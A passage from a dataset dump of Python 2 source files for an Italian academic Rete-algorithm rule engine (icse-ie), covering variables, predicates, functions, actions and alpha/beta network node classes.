riutilizzarlo per\n altre richieste con lo stesso predicato)\n '''\n #print p\n assert issubclass(p, Predicate), \\\n \"p non e' un Predicate: \"+p.__name__\n \n newclassname = \"Variable_dynamic_\"+p.__name__.split('.')[-1]\n \n if not TestPredicate._variable_variance.has_key(newclassname):\n newclass = type(newclassname, (TestPredicate,), {\n '_predicate' : p,\n })\n TestPredicate._variable_variance[newclassname] = newclass\n \n return TestPredicate._variable_variance[newclassname]\n \n @classmethod\n def get_predicate(cls):\n return cls._predicate\n \n \n\nclass NumberPredicate(Predicate):\n '''\n Richiede che gli operandi siano\n numerici\n '''\n \n @staticmethod\n def cast_numbers(*args):\n return [NumberPredicate._try_cast(x) for x in list(args)]\n \n @staticmethod\n def cast_couple(arg1, arg2):\n return tuple(NumberPredicate.cast_numbers(arg1, arg2))\n \n @staticmethod \n def _try_cast(value):\n try:\n return int(value)\n except ValueError:\n return float(value)\n \n " }, { "alpha_fraction": 0.5440140962600708, "alphanum_fraction": 0.5501760840415955, "avg_line_length": 27.299999237060547, "blob_id": "0fa90ba39bdb3a992e1a36de2f1af19d04e6ad57", "content_id": "e3842a5b55f05f36ecbbea6e1b3e68479fc092cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 73, "num_lines": 40, "path": "/src/icse/Variable.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Eq import Eq\nfrom icse.predicates.Predicate import Predicate\n\nclass Variable(object):\n '''\n Indica una variabile\n '''\n\n _predicate = Eq\n _variable_variance = {}\n\n \n @staticmethod\n def withPredicate(p):\n '''\n Costruisce a runtime una nuova sottoclasse di \n variable che matcha con un predicato differente\n (e memorizza, in modo da riutilizzarlo per\n altre richieste con lo stesso predicato)\n '''\n assert issubclass(p, Predicate)\n \n newclassname = \"Variable_dynamic_\"+p.__name__.split('.')[-1]\n \n if not Variable._variable_variance.has_key(newclassname):\n newclass = type(newclassname, (Variable,), {\n '_predicate' : p,\n })\n Variable._variable_variance[newclassname] = newclass\n \n return Variable._variable_variance[newclassname]\n \n @classmethod\n def get_predicate(cls):\n return cls._predicate\n " }, { "alpha_fraction": 0.46341463923454285, "alphanum_fraction": 0.47893568873405457, "avg_line_length": 17.41666603088379, "blob_id": "b91b803d900be4529bb9ec1ca36e2e0e1eb76827", "content_id": "f2de9a0ad882abb15b9903bf9564b5c43b0f36a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 451, "license_type": "no_license", "max_line_length": 38, "num_lines": 24, "path": "/src/icse/functions/Max.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Max(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'max',\n 'minParams': 2,\n 'handler': Max.handler\n })\n return sign\n \n @staticmethod\n def handler(*args):\n return max(list(args))\n \n " }, { "alpha_fraction": 0.6265560388565063, "alphanum_fraction": 0.6514523029327393, "avg_line_length": 17.538461685180664, "blob_id": "86534e156817d4647e01b613675a4da2402aa464", "content_id": "fbed132de203912842f5d719c955d117026369f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 241, "license_type": "no_license", "max_line_length": 52, "num_lines": 13, "path": "/src/icse/predicates/IsLexeme.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.IsString import IsString\n\nclass IsLexeme(IsString):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n SIGN = 'lexemep'\n" }, { "alpha_fraction": 0.6016548275947571, "alphanum_fraction": 0.6122931241989136, "avg_line_length": 27.724138259887695, "blob_id": "f026a461a1f1b428471dcef73d56a404e8fdba1d", "content_id": "41550627a2ad60cc0667bbded120932cadf4e175", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 846, "license_type": "no_license", "max_line_length": 117, "num_lines": 29, "path": "/src/icse/actions/SetStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\n\nclass SetStrategy(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n \n SIGN = 'set-strategy'\n \n @staticmethod\n def _get_strategy(strategyName):\n import icse.utils as utils\n strategyname = strategyName.capitalize() + \"Strategy\"\n return utils.new_object_from_complete_classname(\"icse.strategies.{0}.{1}\".format(strategyname, strategyname))\n \n def executeImpl(self, strategyName, *args):\n try:\n strategy = self.__class__._get_strategy(strategyName)\n except KeyError:\n import sys\n print >> sys.stderr, \"Strategia {0} non valida\".format(strategyName)\n return\n \n self.getReteNetwork().agenda().changeStrategy(strategy)\n \n " }, { "alpha_fraction": 0.536578893661499, "alphanum_fraction": 0.5381737351417542, "avg_line_length": 31.378646850585938, "blob_id": "da17d67f743478aafddca34970be9d590e5923cd", "content_id": "62d6f5fe89bfde6176077228f3642b9c75e9eb5c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 48908, "license_type": "no_license", "max_line_length": 132, "num_lines": 1508, "path": "/src/icse/rete/Nodes.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import Predicate\nfrom icse.rete.Token import Token, DummyToken\nfrom icse.rete.WME import WME\nfrom icse.Variable import Variable\nfrom icse.rete.JoinTest import JoinTest\nfrom icse.rete.NegativeJoinResult import NegativeJoinResult\n#from icse.rete.NetworkXGraphWrapper import NetworkXGraphWrapper\nfrom icse.rete.FilterTest import FilterTest\nfrom icse.predicates.Eq import Eq\nfrom icse.Function import Function\nfrom icse.debug import EventManager\nfrom collections import deque\n\nclass AlphaNode(object):\n '''\n Interfaccia per nodi base della AlphaNetwork\n '''\n \n def __init__(self, parent):\n #assert isinstance(parent, AlphaNode), \\\n # \"parent non e' AlphaNode\"\n self._parent = parent\n \n def get_parent(self):\n return self._parent\n \n def activation(self, w):\n '''\n Attivazione del nodo\n @param w: WME la WME che ha provocato l'attivazione \n '''\n raise NotImplementedError()\n \n def delete(self):\n '''\n Gestisce la cancellazione del nodo\n '''\n raise NotImplementedError()\n\n\n\nclass ConstantTestNode(AlphaNode):\n '''\n Nodo di test inter-condition appartenente all'AlphaNetwork\n '''\n\n\n def __init__(self, parent, field, value, predicate):\n '''\n Constructor\n '''\n \n #assert isinstance(parent, AlphaNode), \\\n # \"parent non e' un AlphaNode\"\n \n #assert isinstance(predicate, Predicate), \\\n # \"predicate non e' un Predicate\"\n \n AlphaNode.__init__(self, parent)\n \n self._value = value\n self._predicate = predicate\n self._field = field\n \n # list aid figli ConstantTestNode\n #self._children = []\n self._children = deque()\n \n self._alphamemory = None\n \n def get_predicate(self):\n return self._predicate\n \n def get_children(self):\n return self._children\n \n def get_field(self):\n return self._field\n \n def get_value(self):\n return self._value\n \n def set_alphamemory(self, amem):\n #assert isinstance(amem, AlphaMemory), \\\n # \"amem non e' un AlphaMemory\"\n \n self._alphamemory = amem\n \n def has_alphamemory(self):\n return self._alphamemory != None\n \n def get_alphamemory(self):\n return self._alphamemory\n \n @staticmethod\n def factory(node, field, value, predicate):\n '''\n Cerca un ConstantTestNode che e' possibile condividere\n oppure ne crea uno nuovo con le informazioni a disposizione\n e lo inserisce nel Network\n '''\n \n assert isinstance(node, AlphaNode), \\\n \"node non e' un AlphaNode\"\n assert issubclass(predicate, Predicate), \\\n \"predicate non e' un Predicato, \"+str(predicate)\n \n #print \"Cerco un CostantTestNode per: \",\n #print \"campo: {0}, predicato: {1}, valore: {2}\".format(field, predicate, value)\n for child in node.get_children():\n # controllo che nn ci sia gia un nodo che mi controlla la stessa cosa\n # se c'e' provvedo semplicemente ad usare quello\n if isinstance(child, ConstantTestNode) \\\n and child.get_field() == field \\\n and child.get_predicate() == predicate \\\n and child.get_value() == value:\n # il nodo di confronto e' lo stesso\n # posso condividerlo\n return child\n #else:\n #print \"Stavo valutando: \",\n #print \"campo: {0}, predicato: {1}, valore: {2}\".format(child.get_field(), child.get_predicate(), child.get_value())\n # child.get_field() != field:\n #print \"I campi erano diversi: ({0} vs {1})\".format(child.get_field(), field)\n #elif child.get_predicate() != predicate:\n #print \"I predicati erano diversi: ({0} vs {1})\".format(child.get_predicate(), predicate)\n #elif child.get_value() != value:\n #print \"I valori erano diversi: ({0} vs {1})\".format(child.get_value(), value)\n \n \n # non abbiamo trovato nessun nodo che verifica le stesse\n # caratteristiche\n \n ctn = ConstantTestNode(node, field, value, predicate)\n node.add_child(ctn)\n \n \n #print \"Creo un ConstantTestNode \"+repr(ctn)+\" (linkandolo a: \"+repr(node)\n \n #NetworkXGraphWrapper.i().add_node(ctn, node)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, ctn)\n EventManager.trigger(EventManager.E_NODE_LINKED, ctn, node, 0)\n \n # il ctn non conserva wme, quindi non devo aggiornarlo\n \n return ctn\n \n def activation(self, w):\n '''\n Attivazione del nodo per una nuova wme:\n testa se la condizione e' espressa da questa e' valida\n e nel caso lo sia l'aggiunge alla AlphaMemory collegata\n e propaga ai figli di questo nodo \n '''\n #assert isinstance(w, WME), \\\n #\"w non e' una WME\"\n \n if self.is_valid(w):\n # la wme ha superato il test, quindi e' valida per questa condizione\n \n # se ho una alpha memory collegata a questo test\n # (e quindi ho dei betanode che derivano da questo)\n # attivo la alpha memory\n if self.has_alphamemory():\n #assert isinstance(self._alphamemory, AlphaMemory), \\\n # \"alphamemory non e' una AlphaMemory\"\n self._alphamemory.activation(w)\n\n # propago ai figli\n for child in self._children:\n assert isinstance(child, ConstantTestNode), \\\n \"child non e' un ConstantTestNode\"\n \n child.activation(w)\n \n def is_valid(self, w):\n \n predicate = self._predicate\n assert issubclass(predicate, Predicate)\n \n try:\n return predicate.compare(w.get_field(self._field), self._value)\n except IndexError:\n # la wme non ha nemmeno abbastanza campi\n # per controllarla\n return False\n \n def delete(self):\n '''\n Esegue la rimozione del nodo\n dalla rete\n '''\n \n EventManager.trigger(EventManager.E_NODE_UNLINKED, self, self._parent, 0)\n \n #il parent di questo e' per forza un ConstantTestNode\n self._parent._remove_child(self)\n \n if self.has_alphamemory():\n EventManager.trigger(EventManager.E_NODE_UNLINKED, self, self._alphamemory, 0)\n # rimuovo l'eventuale riferimento all'alpha memory\n self._alphamemory = None\n\n \n def add_child(self, child):\n '''\n Aggiunge un nuovo figlio alla lista\n '''\n #self._children.insert(0, child)\n #self._children.append(child)\n self._children.appendleft(child)\n \n def _remove_child(self, child):\n self._children.remove(child)\n \n # se no ho altri figli e nemmeno una alphamemory\n # allora questo nodo e' inutile e lo poto\n if len(self._children) == 0 and self._alphamemory == None:\n self.delete()\n \nclass LengthTestNode(ConstantTestNode):\n '''\n Un tipo speciale di ConstantTestNode che al posto di controllare\n il valore in un campo della wme, controlla\n la lunghezza della wme\n '''\n \n def __init__(self, parent, wmelength):\n # passo le cose piu umane, per evitare problemi,\n # anche se non verranno mai usate\n ConstantTestNode.__init__(self, parent, 0, 0, Eq)\n \n self._length = wmelength\n \n \n def is_valid(self, w):\n return w.get_length() == self._length\n \n def get_length(self):\n return self._length\n \n @staticmethod\n def factory(node, length):\n '''\n Cerca un LengthTestNode che e' possibile condividere\n oppure ne crea uno nuovo con le informazioni a disposizione\n e lo inserisce nel Network\n '''\n \n #print \"Cerco un LengthTestNode per: \"+str(length)\n for child in node.get_children():\n # controllo che nn ci sia gia un nodo che mi controlla la stessa cosa\n # se c'e' provvedo semplicemente ad usare quello\n if isinstance(child, LengthTestNode) \\\n and child.get_length() == length:\n # il nodo di confronto e' lo stesso\n # posso condividerlo\n return child\n \n \n # non abbiamo trovato nessun nodo che verifica le stesse\n # caratteristiche\n \n ctn = LengthTestNode(node, length)\n node.add_child(ctn)\n \n #print \"Creo un ConstantTestNode \"+repr(ctn)+\" (linkandolo a: \"+repr(node)\n \n #NetworkXGraphWrapper.i().add_node(ctn, node)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, ctn)\n EventManager.trigger(EventManager.E_NODE_LINKED, ctn, node, 0)\n \n # il ctn non conserva wme, quindi non devo aggiornarlo\n \n return ctn \n \nclass AlphaMemory(AlphaNode):\n '''\n Nodo AlphaMemory dell'AlphaNetwork\n \n Conserva tutti i riscontri della WM (wme) che hanno \n matchato condizioni di un ConstantTestNode\n '''\n\n def __init__(self, parent):\n '''\n Constructor\n '''\n # prepara il parent\n AlphaNode.__init__(self, parent)\n # contiene i riferimenti a tutte le wme\n self._items = {}\n # contiene i riferimenti a tutti i nodi successori (nodi beta [JoinNode])\n #self._successors = []\n self._successors = deque()\n\n def get_items(self):\n '''\n Restituisce la lista di elementi memorizzati\n nella AlphaMemory\n @return: WME[]\n '''\n return self._items.values()\n \n def add_successor(self, succ):\n '''\n Aggiunge un nuovo elemento nella lista\n dei successori\n @param succ: ReteNode (JoinNode)\n '''\n # aggiungo in testa in modo da evitare la duplicazione\n # di wme evitando di dover fare controlli per evitare\n # la duplicazione.\n # Riferimento:\n # paragrafo 2.4.1 pagina 25\n #self._successors.insert(0, succ)\n self._successors.appendleft(succ)\n \n def get_successors(self):\n return self._successors\n\n def remove_successor(self, succ):\n '''\n Rimuove il successore dalla lista\n '''\n self._successors.remove(succ)\n\n def is_useless(self):\n '''\n Controlla se il nodo puo' essere rimosso:\n il nodo diventa inutile se non ha\n successori\n @return: boolean\n '''\n return (len(self._successors) == 0)\n\n @staticmethod\n def factory(c, node):\n '''\n Factory di AlphaMemory:\n costruisce un nuovo nodo AlphaMemory solo se non\n e' possibile utilizzare un nodo gia presente\n condividendolo\n \n @param c: la condizione che rappresenta il nodo (espressa come lista di atomi [condizioni su singoli campi])\n @param node: la radice della alpha-network\n @return: AlphaMemory\n '''\n #TODO riferimento:\n # build-or-share-alpha-memory(c: condition) pagina 35\n #print c\n field_index = None\n tmp_c = c.items() if isinstance(c, dict) else enumerate(c)\n for field_index, (atom_type, atom_cont) in tmp_c:\n if not issubclass(atom_type, (Variable, Function)):\n # filtra tutte le variabili\n node = ConstantTestNode.factory(node, field_index, atom_cont, atom_type)\n \n # a questo punto devo aggiungere\n # un nodo condizione sulla lunghezza\n # MA: mi assicuro che la wme non sia un template\n # e che c non sia nulla\n if isinstance(field_index, int):\n node = LengthTestNode.factory(node, field_index + 1)\n \n # al termine del ramo di valutazione costante, l'ultimo nodo ha gia una\n # alpha-memory: condividiamo quella\n if node.has_alphamemory():\n return node.get_alphamemory()\n \n # altrimenti ne aggiungiamo una nuova\n am = AlphaMemory(node)\n # provvedo a collegarla ad un test-node\n node.set_alphamemory(am)\n \n # a questo punto devo forzare l'aggiornamento dell'intera rete\n # ora capisco perche il factory aveva come condizione l'intera rete di condizioni...\n\n EventManager.trigger(EventManager.E_NODE_ADDED, am)\n EventManager.trigger(EventManager.E_NODE_LINKED, am, node, 0)\n\n \n # ricostruisco semplicemente la sequenza di test node che porta a questa alpha-memory\n stack = []\n tree_cursor = node\n while not isinstance(tree_cursor, AlphaRootNode):\n stack.insert(0, tree_cursor)\n tree_cursor = tree_cursor.get_parent()\n \n # tree_cursor e' un RootNode\n assert isinstance(tree_cursor, AlphaRootNode)\n \n network = tree_cursor.get_network()\n \n # a questo punto devo testarli tutti per tutte le wme :(\n wmes = network.get_wmes()\n \n for w in wmes:\n isValid = True\n for t in stack:\n assert isinstance(t, ConstantTestNode), \\\n \"t no e' un ConstantTestNode\"\n \n if not t.is_valid(w):\n isValid = False\n break\n \n if isValid:\n # la wme ha passato tutti i test\n # triggo questa alpha-memory come se fosse\n # stata appena aggiunta normalmente\n am.activation(w)\n \n #NetworkXGraphWrapper.i().add_node(am, node)\n \n return am\n \n \n def activation(self, w):\n '''\n Esegue l'attivazione della AlphaMemory, memorizzando\n il nuovo elemento WME in memoria e propagandolo\n ai successori\n \n @param w: WME la wme che ha generato l'attivazione\n '''\n \n # riferimento: alpha-memory-activation pagina 32 [modificato]\n \n #assert isinstance(w, WME), \\\n # \"w non di tipo WME\"\n \n # inserisce il nuovo elemento in testa della lista di elementi\n #self._items.insert(0, w)\n #self._items.append(w)\n self._items[w.get_factid()] = w\n \n # inserisce questa amem nella lista delle amem di w\n # in modo che realizzare una tree-based removal\n w.add_alphamemory(self)\n \n for succ in self._successors:\n #assert isinstance(succ, ReteNode), \\\n # \"succ non di tipo ReteNode\"\n succ.rightActivation(w)\n \n \n def delete(self):\n '''\n Cancella questo nodo\n e propaga la cancellazione al padre se\n il padre non e' condiviso con altri nodi\n '''\n while len(self._items) > 0:\n item = self._items.pop(0)\n item.remove_alphamemory(self)\n \n #TODO propagazione al ConstantTestNode a cui si riferisce\n # questa amem\n # probabilmente mi servira' un riferimento verso l'alto\n parent = self.get_parent()\n assert isinstance(parent, ConstantTestNode), \\\n \"parent non e' un ConstantTestNode\"\n \n EventManager.trigger(EventManager.E_NODE_REMOVED, self)\n EventManager.trigger(EventManager.E_NODE_UNLINKED, self, parent)\n \n parent.delete()\n \n def remove_wme(self, w):\n '''\n Rimuove il riferimento alla WME dalla memoria\n \n @param w: WME la wme da rimuove dalla memoria \n '''\n \n #assert isinstance(w, WME), \\\n # \"w non di tipo WME\"\n \n #self._items.remove(w)\n del self._items[w.get_factid()]\n \n \nclass AlphaRootNode(ConstantTestNode):\n '''\n Finto alpha node che semplicemente propaga qualsiasi segnale ai figli\n '''\n\n def __init__(self, network):\n '''\n Constructor\n '''\n self._network = network\n ConstantTestNode.__init__(self, None, None, None, None)\n #self.set_alphamemory(AlphaMemory(None))\n \n def get_network(self):\n return self._network\n \n def get_parent(self):\n return self\n \n def activation(self, w):\n \n for child in self._children:\n assert isinstance(child, ConstantTestNode), \\\n \"child non e' un ConstantTestNode\"\n child.activation(w)\n\n # l'attivazione dell'alpha memory\n # deve avvenire dopo l'attivazione\n # dei figli per evitare che una wme\n # propagata ad un dummynegativenode\n # poi debba essere ritrattata\n if self.has_alphamemory():\n #assert isinstance(self._alphamemory, AlphaMemory), \\\n # \"alphamemory non e' una AlphaMemory\"\n self._alphamemory.activation(w)\n\n \n def delete(self):\n '''\n Niente da fare\n '''\n \n\n\n \nclass ReteNode(object):\n '''\n Nodo base appartenente alla BetaNetwork (nodo a due input)\n '''\n\n\n def __init__(self, parent):\n '''\n Constructor\n '''\n #assert isinstance(parent, ReteNode), \\\n # \"parent non e' un ReteNode\"\n \n # @ivar __children: [ReteNode] \n self._children = deque()\n self._parent = parent\n \n def get_parent(self):\n return self._parent\n \n def get_children(self):\n '''\n Getter per children\n '''\n return self._children\n \n def add_child(self, child):\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n #self._children.insert(0, child)\n self._children.appendleft(child)\n \n def append_child(self, child):\n '''\n Aggiunge il figlio nella lista in ultima posizione\n '''\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n self._children.append(child)\n \n def leftActivation(self, tok, wme):\n '''\n Attiva il nodo da sinistra (l'attivazione da sinistra corrisponde\n ad un nuovo match proveniente da un nodo ReteNode padre)\n '''\n raise NotImplementedError\n \n def rightActivation(self, wme):\n '''\n Attiva il nodo da destra (l'attivazione da destra corrisponde\n ad un nuovo wme che giunge da un nodo della AlphaNetwork\n '''\n raise NotImplementedError\n \n def delete(self):\n '''\n Esegue le operazioni comuni di pulizia dei nodi\n della BetaNetwork in modo che le classi che estendono\n possono semplicemente chiamare questa funzione\n per eseguire la pulizia base. Esegue:\n - rimozione del riferimento dalla lista di figli del padre\n - rimozione di tutti i nodi sopra questo che non abbiano utilita'\n '''\n \n EventManager.trigger(EventManager.E_NODE_LINKED, self, self._parent) \n \n self._parent._remove_child(self)\n self._parent._delete_useless()\n \n \n def update(self, child):\n '''\n Forza l'attivazione di un nodo appena aggiunto con i risultati\n memorizzati nel nodo\n '''\n raise NotImplementedError\n \n def _remove_child(self, child):\n self._children.remove(child)\n \n def _delete_useless(self):\n if len(self._children) == 0:\n self.delete()\n \n \n \nclass JoinNode(ReteNode):\n '''\n JoinNode: rappresenta un nodo giunzione fra uno\n proveniente dall'AlphaNetwork e uno proveniente da\n BetaNetwork \n '''\n\n def __init__(self, parent, amem, tests):\n '''\n Constructor\n '''\n\n assert isinstance(amem, AlphaMemory), \\\n \"amem non e' una AlphaMemory\"\n assert isinstance(tests, list), \\\n \"tests non e' una list\"\n \n self._amem = amem\n \n # filtra tutti gli elementi non JoinTest\n self._tests = [x for x in tests if isinstance(x, JoinTest)]\n ReteNode.__init__(self, parent)\n \n def get_alphamemory(self):\n return self._amem\n \n def leftActivation(self, tok, wme = None):\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token, \"+str(tok)\n \n for w in self._amem.get_items():\n if self._perform_tests(w, tok):\n for child in self._children:\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n # attiva a sinistra i figli\n # (che sono betamemory o riconducibili)\n child.leftActivation(tok, w)\n \n def rightActivation(self, wme):\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n for tok in self._parent.get_items():\n \n if self._perform_tests(wme, tok):\n for child in self._children:\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n # attiva a sinistra i figli\n # (che sono betamemory o riconducibili)\n \n child.leftActivation(tok, wme)\n \n\n def _perform_tests(self, wme, tok):\n \n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n for t in self._tests:\n \n if not t.perform(tok, wme):\n return False\n \n return True\n \n @staticmethod\n def factory(parent, amem, tests):\n\n assert isinstance(amem, AlphaMemory), \\\n \"amem non e' una AlphaMemory\"\n assert isinstance(tests, list), \\\n \"tests non e' una list\"\n\n if parent != None:\n for child in parent.get_children():\n # escludo che un join node possa essere condiviso da un\n # NegativeNode con gli stessi test e alpha-memory\n if isinstance(child, JoinNode) and not isinstance(child, NegativeNode):\n #assert isinstance(child, JoinNode)\n if child._amem == amem:\n if child.get_tests() == tests:\n # stessi test, testa amem... condivido il nodo\n return child\n \n # non posso condividere un nuovo gia esistente\n # con queste informazioni, quindi ne creo uno nuovo\n # e lo aggiunto alla rete\n \n jn = JoinNode(parent, amem, tests)\n parent.add_child(jn)\n else:\n # perche non cercare anche fra le amem\n # per un dummy node che condivida la stessa amem?\n for succ in amem.get_successors():\n # escludo che un join node possa essere condiviso da un\n # NegativeNode con gli stessi test e alpha-memory\n if isinstance(succ, DummyJoinNode):\n #assert isinstance(child, JoinNode)\n if succ.get_tests() == tests:\n # stessi test, testa amem... condivido il nodo\n return succ\n\n \n jn = DummyJoinNode(amem, tests)\n \n # questo lo fa indipendentemente da questto che\n # trova (se join normale o dummy)\n amem.add_successor(jn)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, jn)\n EventManager.trigger(EventManager.E_NODE_LINKED, jn, amem, 1)\n if parent != None:\n EventManager.trigger(EventManager.E_NODE_LINKED, jn, parent, -1)\n \n \n #NetworkXGraphWrapper.i().add_node(jn, amem, 1)\n \n #if parent != None:\n #NetworkXGraphWrapper.i().add_edge(parent, jn, -1)\n \n \n return jn\n \n def delete(self):\n '''\n Esegue la cancellazione del nodo\n propagando la cancellazione all'alpha-memory\n se non e' condivisa con altri nodi\n '''\n \n self._amem.remove_successor(self)\n \n EventManager.trigger(EventManager.E_NODE_UNLINKED, self, self._amem)\n \n if self._amem.is_useless():\n self._amem.delete()\n \n ReteNode.delete(self)\n \n def get_tests(self):\n return self._tests\n \n def update(self, child):\n \n # memorizzo temporaneamente la lista\n # attuale di figli\n saved_children = self.get_children()\n \n self._children = [child]\n \n for wme in self._amem.get_items():\n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n # forzo l'aggiornamento di ogni wme che\n # verra' propagata ai figli (che in questo\n # caso sono solo quello nuovo... temporaneamente) \n self.rightActivation(wme)\n \n # ho aggiornato il figlio, a questo punto\n # ripristino la vecchia lista\n \n self._children = saved_children\n \n \n \nclass BetaMemory(ReteNode):\n '''\n Beta Memory node: contiene la lista di token che matchano un particolare\n insieme di condizioni con intra-riferimenti di variabili\n '''\n\n def __init__(self, parent):\n '''\n Constructor\n '''\n ReteNode.__init__(self, parent)\n \n # lista di token mantenuti nella beta memory\n #self._items = []\n self._items = {}\n \n def get_items(self):\n return self._items.values()\n \n def remove_item(self, tok):\n '''\n Rimuove un token dagli items\n '''\n #self._items.remove(tok)\n del self._items[tok]\n \n def leftActivation(self, tok, wme):\n \n new_token = Token(self, tok, wme)\n \n #self._items.insert(0, new_token)\n self._items[new_token] = new_token\n \n for child in self._children:\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n # attenzione, la leftActivation viene fornita senza la WME\n # quindi solo i join node sono preparati a riceverla?????\n # TODO refactoring\n child.leftActivation(new_token)\n \n \n def delete(self):\n '''\n Cancella tutti i token memorizzati in questo nodo (e chiaramente i successori)\n '''\n \n while len(self._items) > 0:\n tok = self._items.pop(0)\n assert isinstance(tok, Token), \\\n \"tok non e' un Token\"\n \n tok.delete()\n \n # chiama il metodo della classe base\n # per eseguire le operazioni di pulizia\n # comuni a tutti i nodi della BetaNetwork\n ReteNode.delete(self)\n \n def update(self, child):\n \n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n for tok in self._items:\n self.leftActivation(tok)\n \n @staticmethod\n def factory(parent):\n \n if parent == None:\n return None\n \n for child in parent.get_children():\n \n from icse.rete.PNode import PNode\n if isinstance(child, BetaMemory) \\\n and not isinstance(child, PNode):\n # semplicemente un beta memory node\n # e un contenitore senza condizioni:\n # cio che discrimina il contenuto e'\n # il join-node padre.\n # quindi se ho gia un nodo betamemory\n # figlio dello stesso padre, semplicemente\n # lo condivido\n return child\n \n # non ho trovato nessun beta-memory\n # figlio del padre, quindi ne aggiungo\n # uno nuovo\n \n bm = BetaMemory(parent)\n parent.add_child(bm)\n parent.update(bm)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, bm)\n EventManager.trigger(EventManager.E_NODE_LINKED, bm, parent, -1) \n \n #NetworkXGraphWrapper.i().add_node(bm, parent, -1)\n\n return bm\n \n \nclass NegativeNode(JoinNode):\n '''\n JoinNode per condizioni negative\n '''\n\n\n def __init__(self, parent, amem, tests):\n '''\n Constructor\n '''\n \n # lista di Token\n self._items = {}\n \n # amem e tests dal JoinNode come proprieta' \"protette\"\n # self._amem\n # self._tests\n JoinNode.__init__(self, parent, amem, tests)\n \n def get_items(self):\n '''\n Restituisce la lista di match (come fosse una beta-memory)\n @return: Token[]\n '''\n return self._items.values()\n \n def remove_item(self, tok):\n '''\n Rimuove un token dagli items\n '''\n #self._items.remove(tok)\n del self._items[tok]\n \n \n @staticmethod\n def factory(parent, amem, tests):\n \n assert isinstance(amem, AlphaMemory), \\\n \"amem non e' una AlphaMemory\"\n assert isinstance(tests, list), \\\n \"tests non e' una list\"\n\n # controllo che non sia il primo elemento della\n # beta-network\n if parent != None:\n\n for child in parent.get_children():\n if isinstance(child, NegativeNode):\n if child._amem == amem:\n if child._tests == tests:\n # stessi test, testa amem... condivido il nodo\n return child\n \n # non posso condividere un nuovo gia esistente\n # con queste informazioni, quindi ne creo uno nuovo\n # e lo aggiunto alla rete\n \n njn = NegativeNode(parent, amem, tests)\n parent.add_child(njn)\n \n else:\n \n # cerco se la alphamemory ha gia degli elementi\n # uguale a quello che andrei a creare e\n # lo condivido se c'e'\n for succ in amem.get_successors():\n if isinstance(succ, NegativeNode) \\\n and succ.get_tests() == tests:\n return child\n \n # creo un nuovo DummyNegativeNode\n njn = DummyNegativeNode(amem, tests)\n \n amem.add_successor(njn)\n \n # aggiorna: aggiorna da sinistra se ho un padre \n if parent != None:\n parent.update(njn)\n else:\n # se non ho padre, allora sono un dummy\n # quindi devo provvedere a leggere solo\n # dall'alpha memory e attivare\n # per tutti gli elementi\n for w in amem.get_items():\n # in questo modo gli elementi dell'alpha\n # vegono trasferiti e preparati\n # (tramite negativejoinresult)\n # nella memory di questo nodo (che integra\n # una beta-memory)\n njn.rightActivation(w)\n \n EventManager.trigger(EventManager.E_NODE_ADDED, njn)\n EventManager.trigger(EventManager.E_NODE_LINKED, njn, amem, 1) \n if parent != None:\n EventManager.trigger(EventManager.E_NODE_LINKED, njn, parent, -1)\n \n #NetworkXGraphWrapper.i().add_node(njn, amem, 1)\n #if parent != None:\n #NetworkXGraphWrapper.i().add_edge(njn, parent, -1)\n \n return njn\n\n def leftActivation(self, tok, wme):\n\n #assert isinstance(wme, WME), \\\n # \"wme non e' un WME\"\n \n # se il token viene da un dummyjoinnode\n # devo provvedere a convertirlo?\n new_token = Token(self, tok, wme)\n \n #self._items.insert(0, new_token)\n self._items[new_token] = new_token\n \n for w in self._amem.get_items():\n if self._perform_tests(w, new_token):\n njr = NegativeJoinResult(new_token, w)\n \n new_token.add_njresult(njr)\n w.add_njresult(njr)\n \n # attiva solo se non ci sono match (e' un nodo negativo)\n if new_token.count_njresults() == 0 :\n for child in self._children:\n assert isinstance(child, ReteNode), \\\n \"child non e' un ReteNode\"\n \n # attenzione, la leftActivation viene fornita senza la WME\n # quindi solo i join node sono preparati a riceverla?????\n # TODO refactoring\n #print child\n child.leftActivation(new_token, None)\n \n \n def rightActivation(self, wme):\n assert isinstance(wme, WME), \\\n \"wme non e' un WME\"\n \n for t in self.get_items():\n assert isinstance(t, Token), \\\n 